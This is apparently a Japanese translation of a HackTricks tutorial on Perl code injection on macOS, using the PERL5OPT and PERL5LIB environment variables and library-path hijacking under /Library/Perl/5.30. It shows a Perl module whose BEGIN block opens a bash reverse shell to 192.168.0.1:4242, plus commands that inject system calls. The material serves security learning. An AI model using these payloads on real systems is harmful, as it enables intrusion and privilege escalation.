mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
5.3 KiB
5.3 KiB
macOS Perl アプリケーションインジェクション
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
PERL5OPT
& PERL5LIB
環境変数を介して
環境変数 PERL5OPT を使用すると、perl で任意のコマンドを実行させることができます。
例えば、このスクリプトを作成します:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
これで環境変数をエクスポートし、perlスクリプトを実行します:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
package pmod;
use strict;
use warnings;
BEGIN {
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.1/4242 0>&1'");
}
1;
{% endcode %}
この方法では、Perlモジュール(例:/tmp/pmod.pm
)を作成します。
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
そして、環境変数を使用します:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
依存関係を通じて
Perlが実行される際の依存関係フォルダの順序をリストすることが可能です:
perl -e 'print join("\n", @INC)'
これにより、次のような結果が返されます:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
返されたフォルダのいくつかは存在していませんが、/Library/Perl/5.30
は実際に存在し、SIPによって保護されていない上、SIPによって保護されているフォルダよりも前にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限のPerlスクリプトがそれを読み込むようにすることができます。
{% hint style="warning" %} ただし、そのフォルダに書き込むにはroot権限が必要であり、現在ではこのようなTCCプロンプトが表示されます: {% endhint %}
例えば、スクリプトが**use File::Basename;
** をインポートしている場合、/Library/Perl/5.30/File/Basename.pm
を作成して任意のコードを実行させることが可能です。
参考文献
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを手に入れましょう。
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックしてください。
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。